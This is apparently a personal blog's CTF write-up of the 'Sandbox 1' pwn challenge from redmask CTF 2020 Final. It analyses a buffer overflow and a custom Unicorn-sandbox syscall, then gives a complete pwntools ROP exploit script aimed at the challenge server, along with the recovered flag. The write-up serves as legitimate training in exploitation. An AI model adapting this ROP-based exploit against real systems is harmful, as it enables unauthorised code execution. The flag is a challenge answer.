Hello I am arsalan. Offensive Security Engineer, I blog about cyber security, ctf writeup , web development , and more about tech. born and raised in indonesia , currently living in indonesia

Posts   About

Sandbox 1 | redmask CTF 2020 Final

Sandbox 1 | redmask CTF 2020 Final

today 13 december 2020, my team is qualified for the final of redmask ctf 2020, I solve some rev and pwn challenge. in this post I will cover Sandbox 1 Challenge from redmask CTF 2020 final. it’s really cool challenge, i love it so much thanks to kyraa for this cool challenge.

Info files

we were given 2 elf file, user, sandbox it’s 64bit linux elf, and there’s bof bug on the user binary, and we can also controll %rax, %rdi, %rsi, %rdx via helper function

the sandbox binary is also intresting, it’s look like a rust binary with unicorn emulation. the main function is only call 2 function first is the setup function (just a normal binary ctf setup) and the run function this is the run function

in this challenge we will focus on handle_syscall function. here is the handle_syscall function

as you can see, there is a dummy flag, our goal is to print that flag on the server, after an hours debugging the sandbox, I found that we can easily print out the flag by using uc_mem_write, according to the docs

this function is used to copy data from the sandbox to the running binary, and on this section from handle_syscall function

  if ( value != 1337 )
    goto LABEL_15;
  uc_reg_read(uc, 39, fd);
  uc_reg_read(uc, 43, &address);
  result = uc_reg_read(uc, 40, &nbytes);
  if ( *(_QWORD *)fd == 4919LL && nbytes )
    result = uc_mem_write(uc, address, "redmask{ini_bukan_real_flag_seriusan_asli_bgt}", 0x2FuLL);
  return result;

this function is used to copy the flag to the running process user binary. and as you can see here, it’s copied the flag

and after doing dynamic analysis, I found that we can control the destination address via %rsi register

now we can just print the flag without setting up the %rsi register, so the flag will be send to a memory region on user binary, then we use write syscall to print our flag, this is my exploit to solve this challenge

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="debug",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/redmaskctf-final/pwn/sandbox1/user")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = ["* 0x402175","* 0x00000000004020ed"]
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return
# https://docs.rs/unicorn/0.9.1/unicorn/fn.uc_mem_write.html
def exploit(r):
    r = process(["./sandbox", "./user"])
    attach(r)
    syscall = 0x0000000000401016
    pop_rdi = 0x0000000000401004
    pop_rdx = 0x0000000000401008
    pop_rsi = 0x0000000000401006
    pop_rax = 0x000000000040100a



    p = "A" * 40
    p += p64(pop_rax)
    p += p64(1337)
    p += p64(pop_rdi)
    p += p64(0x1337)
    # p += p64(pop_rsi)
    # p += p64(0xdeadbeef)
    p += p64(pop_rdx)
    p += p64(0x1337)
    p += p64(syscall)

    p += p64(pop_rax)
    p += p64(1)
    p += p64(pop_rdi)
    p += p64(1)
    p += p64(pop_rdx)
    p += p64(0x1000)
    p += p64(syscall)
    

    r.sendline(p)
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("103.55.38.18", 20001)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG: redmask{ez_pz__lem0n_squeezY_fix3fix3fix3fix7}